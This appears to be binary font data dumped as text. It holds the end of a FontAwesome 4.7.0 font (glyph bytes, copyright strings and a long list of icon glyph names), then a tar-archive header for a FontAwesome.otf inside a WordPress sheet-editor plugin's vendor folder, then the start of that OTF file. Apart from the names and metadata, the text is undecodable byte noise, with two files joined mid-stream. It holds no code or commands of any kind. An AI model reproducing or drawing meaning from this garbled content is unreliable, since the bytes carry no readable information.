`^B@B^^BB^`  @   |kkl"=IYL)CggC0[jM4      B^^BB^^B @  @ !1AQu4.#".'"3!24&"254&#!"3!2654&#!"3!2654&#!"3!26#!54&+"!54&+"!"&5463!2)P90,***,09P)J66S"@8@^B@@B^^BB^Ukc9 9ckU?@@88 @@N@B^````^BB^^!1AQu#!"&4>32>72"&462#!"&=463!25#!"&=463!25#!"&=463!24&#!"3!546;2!546;2!26#!"&5463!2J66J)P90,***,09P)"@8@ @  `@@` ^B@B^^BB^ՀUUkc9 9c`@@88@@2  @ ````@B^^BB^^(%.'"&' $&  #"$&6$ wCιCwjJ~J>LlLśJSSJ͛>6LlL$,  $&6654&$ 3 72&&  lLmzzBl>KlLGzzG>'7#!"&54>7&54>2  62654' '3/U]B,ȍ,B]U/OQнQ>+X}}X0bӃۚӅb0}hQQh>ff#=#!"&4>3272"&462!3!26#!"&5463!;26=!2J66J)Q8PP8Q)  ^B@B^^B``B^VVVld9KK9d` @B^^BB^``^+;K[eu4.#"'"3!264&"254&#!"3!2654&#!"3!26%54&+";2654&#!"3!26!54&#!"!#!"&5463!2"D/@@/D"?,,?pppp@@@@^B@B^^BB^D6]W2@@2W]67MMppp@@@@@@@@n`@B^^BB^^+;K[eu#!"&54>3272"&462#!"&=463!2%#!"&=463!2+"&=46;25#!"&=463!2!3!26#!"&5463!2?,V,?"D/@@/D"pppp@@@  ^B@B^^BB^D7MM76]W2@@2W]֠ppp@@@@@@@@` @B^^BB^^A#"327.#"'63263#".'#"$&546$32326J9"65I).!1iCCu +I\Gw\B!al݇yǙV/]:=B>9+32%#!"&5463!2#"&54>54'&#"#"54654'.#"#"'.54>54'&'&543232654&432#"&54>764&'&'.54632  ?c'p& ?b1w{2V ?#&#9&CY' &.&#+B : &65&*2w1GF1)2<)<'  ( BH=ӊ:NT :O )4:i   F~b` e!}U3i?fRUX|'&'&Ic&Q  *2U.L6* / L:90%>..>%b>+ +z7ymlw45)0 33J@0!! TFL P]=GS -kwm  !*(%6&692? $&6$  '   al@lLlL,& EC h$LlL /37;%"&546734&'4&" 67 54746 #5#5#5ppF::FDFNV^fnv~"/&4?.7&#"!4>3267622"&4"&46262"&42"&4462"$2"&42"&4"&46262"&4"&46262"&42"&4$2"&42"&42"&4  R ,H8JfjQhjG^R,  !4&&4&Z4&&4&4&&4&4&&4&&4&&44&&4&4&&4&Z4&&4&4&&4&4&&4&4&&4&4&&4&&4&&4&Z4&&4&Z4&&4&  R  ,[cGjhQRJ'A, &4&&4Z&4&&4Z&4&&4Z&4&&444&&4&&4&&4Z&4&&4Z&4&&4Z&4&&4&4&&4Z&4&&4Z&4&&4&&4&&4Z&4&&4Z&4&&4%-5=EM}+"&=#!"'+"&=&="&4626"&462&"&462"&462&"&462&"&462#!"&=46;4632676/&?.7&#"!2"&462&"&462&"&462"&462&"&462&"&462"&462&"&462"&462@?AA? @ @R...R@`jlL.h) * * $ %35K.....uvnu....@@jN  * * .t2#K5..R..R. @Hq '&'&54 &7676767654$'.766$76"&462&'&'&7>54.'.7>76ȵ|_ğyv/ۃ⃺k] :Buq CA _kނXVobZZbnW|V 0  Q2- l}O  / :1z q%zG 4( 6Roa ą\< )4 J}%!!#!"&5463!2^B@B^^BB^`@B^^BB^^%#!"&=463!2^B@B^^BB^B^^BB^^ &))!32#!#!"&5463!463!2`B^^B^B@B^^B`^BB^^B@B^B^^BB^`B^^#3%764/764/&"'&"2?2#!"&5463!2    s^B@B^^BB^ג     @B^^BB^^#'7"/"/&4?'&4?62762!!%#!"&5463!2     ^B@B^^BB^    `@B^^BB^^ ! $&6$ .2r`LlLf4LlL#.C&>"'&4762"/&4?62'"'&4762%'.>6.'.>6'>/>76&'&.'&7&'">?4'.677>7.>37654'&'67>776 $&6$  ( 4Z# # & # # & y"6&.JM@& "(XE* $+8 jT?3#'.'&!3!2>?3.'#!57>7'./5!27#'.#!"g%%D-!gg<6WWZe#1=/2*]Y3-,C1 /Dx] VFIq-HD2NK '>*%R= f 07=. f D]\|yu,0>Seu#2#"'&5<>323#3#&'#334'."#"+236'&54.#"5#37326#!"&5463!2 <  zzj k-L+ )[$8=".un/2 ^B@B^^BB^5cy    (ݔI(8?C (3> #"($=@B^^BB^^0K S&'.'&'./674&$#">&>?>'76'# "&#./.'7676767>76$w .~kuBR] T%z+",|ޟj<)(!( ~ˣzF8"{%%#5)}''xJF0"H[$%EJ#% .Gk29(B13"?@ S)5" #9dmW";L65RA0@T.$}i`:f3A%% BM<$q:)BD aa%`]A &c| Ms!  Z 2}i[ F&** < ʣsc"J<&NsF% 0@Wm6&'.6$.7>7 $76".4>2., &>6'"'&7>=GV:e #:$?+% q4g &3hT`ZtQмQQмpAP1LK!:< }҈`dlb,9'  %%($! a3)W)x  оQQоQQcQǡ-җe)Us2XD\ϼYd /?O_o#"=#"=4;543#"=#"=4;543#"=#"=4;543#"=#"=4;543#"=#"=4;543%#!"&5463!2++532325++532325++532325++532325++53232p00pp00pp00pp00pp008((88(@(80pp00pp00pp00pp00pp0     @(88((88     /Q/&'%&/"&=.6?&?&'&6?'.>-#".6?'.>'&6'.>54627>%>76#"'% %6 27 2G f!)p&4&p)!f G2 72  *6 " 47 2G f!)p&4&p)!f G2 72 " 6* !k 3 j&3 %,*&&ր*9% 3&j 3 k!./!>>$,*!k 3.j&3 %Ԝ9*&&ր*ǜ,% 3&j 3 k!*,$>>!/.&6.'&$ &76$76$PutۥiPuGxy Զ[xy -_v١eNuv١e =uʦ[t78X &6# #'7-'%'&$  $6 $&6$ 31NE0gR=|||">"LlL^v!1f2iЂwgfZQQ^>"||||wLlL &ZXblw.'&>'&'&".'.'&&'&'&7>767>67>7626&'&>&'&>'.7>.676'&'&'&'.67.>7>6&'&676&'&676.676&'&>&'&676'.>6/4-LJg-   $  6)j2%+QF)b3FSP 21DK2AW ") ")$? ? 8A& AE5lZm= gG2Sw*&>$5jD GHyX/4F r 1  1""!l=6> 6 ,5./'e    .*|Ed! u & &%& &5d ))66 @ C& 8B @qL?P^7 G-hI[q:"T6 ,6 &/`  L wQ'   A ^   "  $& _  y  * <Copyright Dave Gandy 2016. All rights reserved.Copyright Dave Gandy 2016. All rights reserved.FontAwesomeFontAwesomeRegularRegularFONTLAB:OTFEXPORTFONTLAB:OTFEXPORTFontAwesomeFontAwesomeVersion 4.7.0 2016Version 4.7.0 2016FontAwesomeFontAwesomePlease refer to the Copyright section for the font trademark attribution notices.Please refer to the Copyright section for the font trademark attribution notices.Fort AwesomeFort AwesomeDave GandyDave Gandyhttp://fontawesome.iohttp://fontawesome.iohttp://fontawesome.io/license/http://fontawesome.io/license/      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ab cdefghijklmnopqrstuvwxyz{|}~"      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~glassmusicsearchenvelopeheartstar star_emptyuserfilmth_largethth_listokremovezoom_inzoom_outoffsignalcogtrashhomefile_alttimeroad download_altdownloaduploadinbox play_circlerepeatrefreshlist_altlockflag headphones volume_off volume_down volume_upqrcodebarcodetagtagsbookbookmarkprintcamerafontbolditalic text_height text_width align_left align_center align_right align_justifylist indent_left indent_rightfacetime_videopicturepencil map_markeradjusttinteditsharecheckmove step_backward fast_backwardbackwardplaypausestopforward fast_forward step_forwardeject chevron_left chevron_right plus_sign minus_sign remove_signok_sign question_sign info_sign screenshot remove_circle ok_circle ban_circle arrow_left arrow_rightarrow_up arrow_down share_alt resize_full resize_smallexclamation_signgiftleaffireeye_open eye_close warning_signplanecalendarrandomcommentmagnet chevron_up chevron_downretweet shopping_cart folder_close folder_openresize_verticalresize_horizontal bar_chart twitter_sign facebook_sign camera_retrokeycogscomments thumbs_up_altthumbs_down_alt star_half heart_emptysignout linkedin_signpushpin external_linksignintrophy github_sign upload_altlemonphone check_emptybookmark_empty phone_signtwitterfacebookgithubunlock credit_cardrsshddbullhornbell certificate hand_right hand_lefthand_up hand_downcircle_arrow_leftcircle_arrow_rightcircle_arrow_upcircle_arrow_downglobewrenchtasksfilter briefcase fullscreengrouplinkcloudbeakercutcopy paper_clipsave sign_blankreorderulol strikethrough underlinetablemagictruck pinterestpinterest_signgoogle_plus_sign google_plusmoney caret_downcaret_up caret_left caret_rightcolumnssort sort_downsort_up envelope_altlinkedinundolegal dashboard comment_alt comments_altboltsitemapumbrellapaste light_bulbexchangecloud_download cloud_uploaduser_md stethoscopesuitcasebell_altcoffeefood file_text_altbuildinghospital ambulancemedkit fighter_jetbeerh_signf0fedouble_angle_leftdouble_angle_rightdouble_angle_updouble_angle_down angle_left angle_rightangle_up angle_downdesktoplaptoptablet mobile_phone circle_blank quote_left quote_rightspinnercirclereply github_altfolder_close_altfolder_open_alt expand_alt collapse_altsmilefrownmehgamepadkeyboardflag_altflag_checkeredterminalcode reply_allstar_half_emptylocation_arrowcrop code_forkunlink_279 exclamation superscript subscript_283 puzzle_piece microphonemicrophone_offshieldcalendar_emptyfire_extinguisherrocketmaxcdnchevron_sign_leftchevron_sign_rightchevron_sign_upchevron_sign_downhtml5css3anchor unlock_altbullseyeellipsis_horizontalellipsis_vertical_303 play_signticketminus_sign_alt check_minuslevel_up level_down check_sign edit_sign_312 share_signcompasscollapse collapse_top_317eurgbpusdinrjpyrubkrwbtcfile file_textsort_by_alphabet_329sort_by_attributessort_by_attributes_alt sort_by_ordersort_by_order_alt_334_335 youtube_signyoutubexing xing_sign youtube_playdropbox stackexchange instagramflickradnf171bitbucket_signtumblr tumblr_signlong_arrow_down long_arrow_uplong_arrow_leftlong_arrow_rightwindowsandroidlinuxdribbleskype foursquaretrellofemalemalegittipsun_366archivebugvkweiborenren_372stack_exchange_374arrow_circle_alt_left_376dot_circle_alt_378 vimeo_square_380 plus_square_o_382_383_384_385_386_387_388_389uniF1A0f1a1_392_393f1a4_395_396_397_398_399_400f1ab_402_403_404uniF1B1_406_407_408_409_410_411_412_413_414_415_416_417_418_419uniF1C0uniF1C1_422_423_424_425_426_427_428_429_430_431_432_433_434uniF1D0uniF1D1uniF1D2_438_439uniF1D5uniF1D6uniF1D7_443_444_445_446_447_448_449uniF1E0_451_452_453_454_455_456_457_458_459_460_461_462_463_464uniF1F0_466_467f1f3_469_470_471_472_473_474_475_476f1fc_478_479_480_481_482_483_484_485_486_487_488_489_490_491_492_493_494f210_496f212_498_499_500_501_502_503_504_505_506_507_508_509venus_511_512_513_514_515_516_517_518_519_520_521_522_523_524_525_526_527_528_529_530_531_532_533_534_535_536_537_538_539_540_541_542_543_544_545_546_547_548_549_550_551_552_553_554_555_556_557_558_559_560_561_562_563_564_565_566_567_568_569f260f261_572f263_574_575_576_577_578_579_580_581_582_583_584_585_586_587_588_589_590_591_592_593_594_595_596_597_598f27euniF280uniF281_602_603_604uniF285uniF286_607_608_609_610_611_612_613_614_615_616_617_618_619_620_621_622_623_624_625_626_627_628_629uniF2A0uniF2A1uniF2A2uniF2A3uniF2A4uniF2A5uniF2A6uniF2A7uniF2A8uniF2A9uniF2AAuniF2ABuniF2ACuniF2ADuniF2AEuniF2B0uniF2B1uniF2B2uniF2B3uniF2B4uniF2B5uniF2B6uniF2B7uniF2B8uniF2B9uniF2BAuniF2BBuniF2BCuniF2BDuniF2BEuniF2C0uniF2C1uniF2C2uniF2C3uniF2C4uniF2C5uniF2C6uniF2C7uniF2C8uniF2C9uniF2CAuniF2CBuniF2CCuniF2CDuniF2CEuniF2D0uniF2D1uniF2D2uniF2D3uniF2D4uniF2D5uniF2D6uniF2D7uniF2D8uniF2D9uniF2DAuniF2DBuniF2DCuniF2DDuniF2DEuniF2E0uniF2E1uniF2E2uniF2E3uniF2E4uniF2E5uniF2E6uniF2E7_698uniF2E9uniF2EAuniF2EBuniF2ECuniF2EDuniF2EE=O<01hmodules/wp-sheet-editor/assets/vendor/fonts/FontAwesome.otf000064400000407230147600365160020143 0ustar00OTTO  CFF 9s7EPAR(l0OS/22z^`cmapǢThead6hhea P$hmtxJ+t maxpP `name>$# h postx  FontAwesomeC   U6U6 22  ",04<>EGMT\_ehmqy}#)4>HT_lp{ '4=GRYfoy &,39COVcoz"/5;FPUZes}&+16<EOW_hmqv| )04=DPX\aju(,26GYhy %16;>EMUckox    $ 5 G V g l p v    & * - 0 3 6 9 < ? B F O _ c u     & 5 B Q a f m t y    ! % ) - 1 5 9 = A H L P T X \ ` d h l p t x |       % , 3 7 ; ? C G K O V Z ^ b f j n r v z ~   !%)-159=AEJNRVZ^bfjnrvz~ "&*.26:>BFJNRVZ^bfjnrvz~ "&*.29@GNU\cjqx  '.5<CJQX_fmt{ '.5<kvglassmusicsearchenvelopeheartstarstar_emptyuserfilmth_largethth_listokremovezoom_inzoom_outoffsignalcogtrashhomefile_alttimeroaddownload_altdownloaduploadinboxplay_circlerepeatrefreshlist_altlockflagheadphonesvolume_offvolume_downvolume_upqrcodebarcodetagtagsbookbookmarkprintcamerafontbolditalictext_heighttext_widthalign_leftalign_centeralign_rightalign_justifylistindent_leftindent_rightfacetime_videopicturepencilmap_markeradjusttinteditsharecheckmovestep_backwardfast_backwardbackwardplaypausestopforwardfast_forwardstep_forwardejectchevron_leftchevron_rightplus_signminus_signremove_signok_signquestion_signinfo_signscreenshotremove_circleok_circleban_circlearrow_leftarrow_rightarrow_uparrow_downshare_altresize_fullresize_smallexclamation_signgiftleaffireeye_openeye_closewarning_signplanecalendarrandomcommentmagnetchevron_upchevron_downretweetshopping_cartfolder_closefolder_openresize_verticalresize_horizontalbar_charttwitter_signfacebook_signcamera_retrokeycogscommentsthumbs_up_altthumbs_down_altstar_halfheart_emptysignoutlinkedin_signpushpinexternal_linksignintrophygithub_signupload_altlemonphonecheck_emptybookmark_emptyphone_signtwitterfacebookgithubunlockcredit_cardrsshddbullhornbellcertificatehand_righthand_lefthand_uphand_downcircle_arrow_leftcircle_arrow_rightcircle_arrow_upcircle_arrow_downglobewrenchtasksfilterbriefcasefullscreennotequalinfinitylessequalgrouplinkcloudbeakercutcopypaper_clipsavesign_blankreorderulolstrikethroughunderlinetablemagictruckpinterestpinterest_signgoogle_plus_signgoogle_plusmoneycaret_downcaret_upcaret_leftcaret_rightcolumnssortsort_downsort_upenvelope_altlinkedinundolegaldashboardcomment_altcomments_altboltsitemapumbrellapastelight_bulbexchangecloud_downloadcloud_uploaduser_mdstethoscopesuitcasebell_altcoffeefoodfile_text_altbuildinghospitalambulancemedkitfighter_jetbeerh_signf0fedouble_angle_leftdouble_angle_rightdouble_angle_updouble_angle_downangle_leftangle_rightangle_upangle_downdesktoplaptoptabletmobile_phonecircle_blankquote_leftquote_rightspinnercirclereplygithub_altfolder_close_altfolder_open_altexpand_altcollapse_altsmilefrownmehgamepadkeyboardflag_altflag_checkeredterminalcodereply_allstar_half_emptylocation_arrowcropcode_forkunlink_279exclamationsuperscriptsubscript_283puzzle_piecemicrophonemicrophone_offshieldcalendar_emptyfire_extinguisherrocketmaxcdnchevron_sign_leftchevron_sign_rightchevron_sign_upchevron_sign_downhtml5css3anchorunlock_altbullseyeellipsis_horizontalellipsis_vertical_303play_signticketminus_sign_altcheck_minuslevel_uplevel_downcheck_signedit_sign_312share_signcompasscollapsecollapse_top_317eurgbpusdinrjpyrubkrwbtcfilefile_textsort_by_alphabet_329sort_by_attributessort_by_attributes_altsort_by_ordersort_by_order_alt_334_335youtube_signyoutubexingxing_signyoutube_playdropboxstackexchangeinstagramflickradnf171bitbucket_signtumblrtumblr_signlong_arrow_downlong_arrow_uplong_arrow_leftlong_arrow_rightapplewindowsandroidlinuxdribbleskypefoursquaretrellofemalemalegittipsun_366archivebugvkweiborenren_372stack_exchange_374arrow_circle_alt_left_376dot_circle_alt_378vimeo_square_380plus_square_o_382_383_384_385_386_387_388_389uniF1A0f1a1_392_393f1a4_395_396_397_398_399_400f1ab_402_403_404uniF1B1_406_407_408_409_410_411_412_413_414_415_416_417_418_419uniF1C0uniF1C1_422_423_424_425_426_427_428_429_430_431_432_433_434uniF1D0uniF1D1uniF1D2_438_439uniF1D5uniF1D6uniF1D7_443_444_445_446_447_448_449uniF1E0_451_452_453_454_455_456_457_458_459_460_461_462_463_464uniF1F0_466_467f1f3_469_470_471_472_473_474_475_476f1fc_478_479_480_481_482_483_484_485_486_487_488_489_490_491_492_493_494f210_496f212_498_499_500_501_502_503_504_505_506_507_508_509venus_511_512_513_514_515_516_517_518_519_520_521_522_523_524_525_526_527_528_529_530_531_532_533_534_535_536_537_538_539_540_541_542_543_544_545_546_547_548_549_550_551_552_553_554_555_556_557_558_559_560_561_562_563_564_565_566_567_568_569f260f261_572f263_574_575_576_577_578_579_580_581_582_583_584_585_586_587_588_589_590_591_592_593_594_595_596_597_598f27euniF280uniF281_602_603_604uniF285uniF286_607_608_609_610_611_612_613_614_615_616_617_618_619_620_621_622_623_624_625_626_627_628_629uniF2A0uniF2A1uniF2A2uniF2A3uniF2A4uniF2A5uniF2A6uniF2A7uniF2A8uniF2A9uniF2AAuniF2ABuniF2ACuniF2ADuniF2AEuniF2B0uniF2B1uniF2B2uniF2B3uniF2B4uniF2B5uniF2B6uniF2B7uniF2B8uniF2B9uniF2BAuniF2BBuniF2BCuniF2BDuniF2BEuniF2C0uniF2C1uniF2C2uniF2C3uniF2C4uniF2C5uniF2C6uniF2C7uniF2C8uniF2C9uniF2CAuniF2CBuniF2CCuniF2CDuniF2CEuniF2D0uniF2D1uniF2D2uniF2D3uniF2D4uniF2D5uniF2D6uniF2D7uniF2D8uniF2D9uniF2DAuniF2DBuniF2DCuniF2DDuniF2DEuniF2E0uniF2E1uniF2E2uniF2E3uniF2E4uniF2E5uniF2E6uniF2E7_698uniF2E9uniF2EAuniF2EBuniF2ECuniF2EDuniF2EECopyright Dave Gandy 2016. All rights reserved.FontAwesome [_"+/37;TX_dhn#'Prz.26:@DHM %*.48@ENUZ^}/3PW^cgl8<FJCUajov{ @ J Z  & * . : A T m r }   ; B F L T X _ c i n s z   . 3 8 @ F K P p |  & E d m z  %1=BGNU[e #)-7=CJO]kr):PUblqv|",5:BJOTgz$6HZ]hs{  &,6@JTX`hnt| )8@OSX\bhp~"/4;?FLSW\hmt ',2=HS^elw* A T&fAV TlfPzz  P 4 ! t  q q bt& y}}y 33 % 33 `zT~~ 4] Tg@Z 4  R ,T[@ << 4 ,  ^ 2 %%%%%% 3 T< nh @ ;T N TITN C KFKk 6 ? J  : K, : y}Tj 5 / W  K$ 'T$ V L  v   L  6 f y}}yy}}yl z||z % 1  KTTY= |zKz||zKz|N !5 ! ff( G Q 3 |T|T| T T T|zs R 3& ' ' < @A G   ^ [= T / 3 c - `V } hn " Bv g OG `E}n\>lg ,hh@@h EQ P  |z@z||zTz||zz||zTz|7 F x  3C DRRD D u y  ; ;  5!J b h  5 / TT  + - tzuxu[Brlmyz~5qsU hnnhhnnh ttt  T  y}}yKy}? j 3CC  5 ;(=ZXWG/9;/_Mknmn9:YIƑP`q~d_i rcrr iii  y @H -R '   T  1<t0  lnl||}_zob^^bzM ~w~~w~ K = +tX @] @gZ t V``V; ;`L< xra YW  @3 &  ~~w~ @    5! }yvKyx}zy n   T7 rrcr ~ g hnnh YYG P ~ ******** = 4 4  )  .@ (  [  h  P v T~z$ j +[   <<5! I 4 * A C 7 r C 7 @r b ! 6g  T E ˋh 3/{V= n\n ]9 vx {zz{ X  CZ7)D T}yT8T C T7 Tr ]][ 1    7U f @ m   < ZZ ZZ { B r r z{ + T  |z nh yyrrrry pttp&pt 15 tv ' K(   ;;  g  $4 y  ~ MQ s QDnty y  t Ft e 11e BB  T  2     r   I F  y'& K w__c 4444 p] R  GTTX x ]]  83  wrr h  h@ ;fveK \xcikvss]tRat 7+447 && 7  V ( - hn  D$$D  , }t P  `=db97 Bx  t3 ?L g__gg__g a `V     C3 ~w] } y6%6- _$cX ~ TR V22VV22V   P@zyz z  s/ A v  zz{   b   z -    f t    & 3    ]] EGxZny tP P   ++P,  ʲ ,   _hmx 2       ˋ  d4  4 T[ `M`M y}}yT, V ;; 0 && T 3   t' . %  @ p ) qt{tsoy s%$   333vK  44 \ ~v  }jii C @@ x~ C Kw 5 !4 wkz|| ,$P++   -     g s} }y     f   #E T @  )Wbit  S 4X wmxyjh  ofZedZd W f r rsyy'&    h@ v   }592I88!~   I M ? y * BP|88;l]5m+\<b-G_y'>U>c R !0!","^"#0#$ $q$$%%~&5&'A'))*J++,,m,,-..1.../P/00192245q556<6717x78h9:S;x<ghhi-iij jkwl%lm7mmmn$n;nOncnnnno"oopp&p>pXqq q}rIrs8s:s<ssstuv<wIwhwxGxy yz&{6{u{|||}~~~~CM9C|28VP cSOI#|L`m Po1*x4f.HU\1'Cw[W(b;J{.ŝQƭfǮ*ʛ˗̉͌|`ϫZҝ(Jտ׻p9D9gtg,q?o]1aJC0g $   N   F.yq4+M< !>!";"h"##$b%g&D&''''''(()*"*++,?,p,-F-U4>45~566636>67 8"99:-;F;<9<='=\==>?Y@RABDEAFGH(HIImKGLLM^NZOPxQ@RS%SlSVWX:XRXXYY]YZZ[+[n[\d\]g^Y^_2_`5`aacBdd;dWdvde!ffgoghNhikj@jklmnopqhrtukvYwfxzV{r|}/~~Uu[ tJ~3J#c$;Tt TT4P 4 c z..ȮhKhh3c # ^uiƭR@2A 4 FMffMZnnw   v x P  `Vc~ofa[! Y!    T@ b@ suw#$L>$#69JX"!!`V+/EE+V1RF _r Zo p]t ksu[ztvUZ tq9 [[9:QQ:Mqksu[ztvUZ ZJ J&  & a )| s Kw t w4X ] g@ v   YT3 Y`VV``VTV`Գ  T3 YT3 TV``VT; YTV``VT; T\TV``VT;  ^y $% IVhhvjyy  IIVV V V ttC KFttFKktt r tt> @   V  FKkr @   pP tW&S:aR`S:a))6z 6)õ`a;R`W&tPQEEQQEEQY 8 &8 &T8 T&8 @ e { zK}zaEV" nmloL{yry}{{OJNll~n|i&js^^[{m~mkNo|y|rz{Kpijki\f_i]QM[!|Lz~rǑ̒Ȫ'fgiMm([popHH4 wOVVOcZwE;L1Hu v tnnt/ s~oJ,zW`aGahc~v~AHH  w !4t4tt4tt to T 4# )vTV{||||Ng|5ppTy~}y:y~Tppur5|gccn_Tz}y}}zT T dgf[wXX[fe6 tqTKTTT TTx44t8 zT~~f9x44t8(& T T9vT ,T,ThXhYm}}chhcqj}}iVgv wxrwwvtL# P  !SY ylD&)'C3$ Y4K Ti t}yT|}zcesd,.9/F- 1T5 T "Q>W "SX5z|[,9FZ3 Ti 9 "! ! T@ G vTi TT T+3 kT^^^^Tkcv ]btkr Kg _=1lno1"-SKq~n}s{x}zsz.;3n L vTTVT/WW/!(ZMj: kD L k+8V=_GxɁHKxMG_8+ MrrN-hnog? ?go Gw_ rN-hnog? ?go_QPox}yCQ(Csyrp}t{xo^PQ_K n{}|zx8 S``*S8 qxozo||{}s}|{n. K    x       0m 8 vvʪʪꪫʪ骫kihvvvijiʌ 1 w ʓ ʓ 1Y1Q kllʙ F?ijivvviijz )z _^X*DtcX_^sjii}jttjjhsW  m g|vtywxog`vf/TFw.qra\zzzaM{tswxyzzVc,sj|wut{tv\h2p]yx}xzuxWi:mY{pvzs~{sww}e_^#:/r8"   4< 4K4"Kme,,eBV4 K"44"4kt4:4t> )T33333333T4tXr=EE=UIrXt tK T/ ,Q iep%/,xxx(((#Ɏ wR'VbgfVpoqqq{\/j}}Yh^?DFG@EatV@ha%-n<5scsŔO5*VJM(0x[[_}~􊢋 %;AHW{'Qbgfg FIGf=R!Gv^]^z8'n\PuH#hPMqJK{-!ߜv`ЊxġMMN[ĐơϦԖУ!!!x$ǁΓm`r;ni~GhftnOlFKwz6- ;p6p_ph6hpo;_}oh6h6}_ Ǐ\|}Cy ^^^LuZ qmeptcCDCm  ǐ]|zb||}3mrS 667W, "m~yv}u] y]h vp|zwwzv {y{  |p hm R<0 R<P 0 R< i m R<0 R<i m 1<0 1<P 0 1< i m H H H t##@w t\ > tTdw TiFy tdv0{tz{~'&9* TT33T&:''~ )TTTn4444Tt|z@ 4kX S @g@ m  D~~UT44~sjiij}st:944::W  {   NLT_p’xJ  vPPϠHGwwsrP mXXj:bkkcv`~:jX;`Y;l-&PyyQ 4 S+,,||~KKXfccQ+4444400f,,fMff//  gt}{|y~wjX|zh "Q2{zt{tqT4 7\3ulz* p4Tqt   Jw tKK3CC  G fccQ{kkYkkkYkkkkYkBBk C     - 4= 1  gsvZvZ SZvZZZZrZhlvlr|hh|e P @g @g i e P @  ZwZZ2ZZrwhZ P Zw Z  @w}rrwrZZ   %L.2::zzzzr::2%L'2zz:::: zz ph H Z hn  e }2zz11zIIII{zzz1IIII IIII1zzz{IIII{zv P zz{zM vv,+M 1zz6 T 4y}}yTy}T T4,#Q?`\pnZtҫȧPKgjzx}wy\O~#7@TKT ttt4 4: T +y}4j 4y}}yTy}4 44 `$$`$`$ $$$`$<Tg #Zk==k##kZ==Zk#<#k==kZ##k==k#i ]&&  &&&&&&kK# g2%''%% ::!8# t  %56&{SjjQh[=<<=> >KwP ^CT}s@skiij}sstv jt }sTӸKw~ssjiik}ss@@stjtTC^OGGOTsv js@tE @wKsjiij~stsv ks@sTC^ǸTs @KT@sjiij}ttT  Ttjiij}tsA@sv jt t W @j{t,Qa! KtkvqCt e t ԛ 4 * <<< <+!y}|z |RT|y.}|yMx|zp 4HhnzhThnhTThS\V`fy~5V``VV5`V RL'HMoZd99dMH''e L( $4A 4u v߈ /J7I[^_[Z_~}yhn{x(HZf7p\XTHaG-whhiwVQZ:#vz]l`L{l{,+\^˒1 t4C FKk@r CN.ETiCkhT$T$?LL?'0cGv=< vc0;'dquuq--] LaaLvtrrtvLa`Lv$T$]D'#5'0cGv=<#7quuq-.] Sv-yU*PNO_Z~wrsrswH7*V3ziU{Qg eg SA:NT~=L=&0ErAuX5y}|y }R|yR ~|yMx|z]pkou`\\`qbuud[ddsP uz``K4K++44-3V +*QQ듔VV땓4L554K 4 ˫44˫  44Tt Tt Tt44K Gt4 tK Gq q bt."&Ft8t+ +K Qc-b.T5MKTz|sRrQnSSL0t8tĤŨTy}v0%%_Ib \;COLD|yz|rs{A0%e P T%Ki``iK%,QQ,g /g / arzyzyrrbr:9r :9k lr:9:9rrbrzy zy) 4TT@yxxy}||g T44rdTr 4g T44fTF4TTB ||} pQEEQQEEQQEEQQEEQg OH `E{l^@lg ,h v 4 4 &Q)WWXg3 UGQ {y|ss^    / T   14= 1i    m} t2o`gfbnh ./>p+>|Ri/8Crb{Zja_qV Om|  PC44T%V``V L teP  T  hP  TTTT noqqon Tft//tq:v++n+*mm*+n33Väyppv-)mvv  >{ ERQDEQc ERQDEQQE9},~ q 2srqt-}}N}}~ZTYprr~n pwefc~rrq/s~|~M}~,soppndmfnen s -}N1kmo/ ` >a B`  aNty6$7mF dI.3WW- hn fo1\s\ko{yxx<^  U/SkW ?Ÿj-@  +6 OGo Dɝ·lZ'#ik}ts')2OKebh`i_mdG1dqhWm]a"WY VF e G.3O׈- 7hn GNOH 6  t@K̬-*osr^ ?<kO篞 OY OxxytR]׈ssvkc\k}\vsO1fOzkO~rvdOJ.eY$n:moOhq1d_`cJl2)t}ǏymD׈ 83vb@KM>M>KR4)<5Mnɿ<5)4RP p]o udr T~ϧ\ ԕT33~ϧ4 J{{{J{J IYU:=YϿڼWG j8Ke`bz|vw{ ̋{&,(i"z  4t4 T, L T480QEEQQEEQ08.(y{wAi  t XTiTQg B 4DD G U DD t * ^GofTp ^Go &  8^!Y1/)Yb1+3 X ] +V``VRzf|Xm}[YKKkK+++K+>7+++k˙̚zfR[ /`obt@v'T_Gqzy Ywjo`)Ib`__`b)`~oDW~jgw^SX _~|~~tjn~@t^oYYk|P/"`c}{q_'TvQ yyt    ?ApDU88Dp?6 \xTTz{{z~TTK TT 1 !8 2 ZZ.n82Y\uZQ m{r^-Ʒ֫Ϧ [ @{wx^^]Up[c\ˀt bdee  @$fb% aa>"ipuleǞëѯ X4* (3&  &;*226;*qXsIm[FHNMo;otpлͩ&oxtt_Jdwry0Ayu{&Ay  v(TQrLyJγʣMfEpB}P7.G$%Frrs3Xo[{TO(QVY`1(mpnnvww ."4X+prq/#>VK?ʹķ Sp.v/nQ11'A<* <<xp%j]^hYE֊ׅB ?Gߩϼqٵ˟'(͔͂z'w!q=wUG7HJ?xs]C$8rwsp+qi^arʆŕ vTTTT$T4\+T /i )* l @Z @Gtt   V Tnzi.],++,]i{{}zyjpnjry''{{~{y#joicciq#4 444@ G2t1v~z1vF4YtHAAHZEtYrtpg  2  4Ttt] TgEuFF6!1=۴ n_F( RD\\D VT$4[ .G^SSG^J(@twT3fV``V}~d3fTw@t(EQT! Te `wrPNxyprNV[Pwrqqyxyprrwwr[PNrpyxxyprNP[rwwrrpyxyprrwP[VNrpyxNPrw}PNVVNPx,4.oU wtFPPFs\k{oyxx >\V?Ckwk++JLOG  =3`?.Qm\ibgbjnG5[hofuelY=  ,.Gc4n8`XC>[B natĹo8ixFPv8+֫ঽtttuV]]B1 o8[GngimQ`?34=_`b    =acfn}|}KKYXS#Ln8  4.B `KPV?Ck1B]]Vvuut+`PF`xiPta ?MQYKK}|}Pfca=    b`_=43?`Qmig`nG[  ʰ .Gc4B tZB xxyatRt]ssvikcx\j_qFPPFGOLJ++kϰkpC>[Hkfuf h[5Gjnbgbi\m.Q?`3<    p=ϰˠSLH QQ{zH 00 0, {zz{QQ   X00{zXz{0QQQQN0{z 00{QQpQQ , {z P00 M QQqQQ, {z %Q4.&E݂v'* <<< 